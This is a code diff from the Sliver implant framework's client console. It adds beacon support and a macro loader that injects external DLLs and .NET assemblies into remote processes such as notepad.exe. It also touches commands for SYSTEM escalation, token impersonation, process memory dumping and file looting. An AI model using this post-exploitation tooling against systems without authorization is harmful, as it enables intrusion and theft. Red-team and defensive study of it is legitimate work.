options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return hostMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+53 -22
View File
@@ -21,22 +21,16 @@ package info
import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
@@ -51,8 +45,29 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
@@ -60,36 +75,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%d\n", session.PID)
if session != nil {
con.Printf("%d\n", session.PID)
} else if beacon != nil {
con.Printf("%d\n", beacon.PID)
}
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.UID)
if session != nil {
con.Printf("%s\n", session.UID)
} else if beacon != nil {
con.Printf("%s\n", beacon.UID)
}
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.GID)
if session != nil {
con.Printf("%s\n", session.GID)
} else if beacon != nil {
con.Printf("%s\n", beacon.GID)
}
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.Username)
if session != nil {
con.Printf("%s\n", session.Username)
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
}
}
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+2 -2
View File
@@ -33,7 +33,7 @@ import (
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
+4
View File
@@ -0,0 +1,4 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
+335
View File
@@ -0,0 +1,335 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
+2 -2
View File
@@ -31,13 +31,13 @@ import (
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+4 -4
View File
@@ -31,7 +31,7 @@ import (
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -43,7 +43,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
udp := ctx.Flags.Bool("udp")
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
TCP: tcp,
UDP: udp,
Listening: listening,
@@ -72,7 +72,7 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
}
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
@@ -95,6 +95,6 @@ func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
if len(parts) != 3 {
return false
}
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
}
+2 -2
View File
@@ -10,7 +10,7 @@ import (
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -31,7 +31,7 @@ import (
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -0,0 +1,63 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
url := ctx.Args.String("connection-string")
aesKey := ctx.Flags.String("aes-key")
agentRange := ctx.Flags.String("range")
skipExisting := ctx.Flags.Bool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessionMapper.AddSession(sess)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -0,0 +1,33 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+2 -2
View File
@@ -31,7 +31,7 @@ import (
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Config: config,
HostingProcess: process,
})
+2 -2
View File
@@ -28,13 +28,13 @@ import (
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
username := ctx.Args.String("username")
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
})
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
+2 -2
View File
@@ -28,12 +28,12 @@ import (
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,7 +47,7 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil("Dumping remote process memory ...", ctrl)
dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Timeout: int32(ctx.Flags.Int("timeout") - 1),
})
+4 -4
View File
@@ -46,7 +46,7 @@ var (
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -140,7 +140,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
if modifyColor, ok := knownProcs[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
@@ -170,7 +170,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return -1
+2 -2
View File
@@ -28,14 +28,14 @@ import (
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+4 -4
View File
@@ -9,7 +9,7 @@ import (
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -43,7 +43,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -76,7 +76,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -117,7 +117,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -123,7 +123,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: finalPath,
+2 -2
View File
@@ -34,7 +34,7 @@ import (
// ScreenshotCmd - Take a screenshot of the remote system
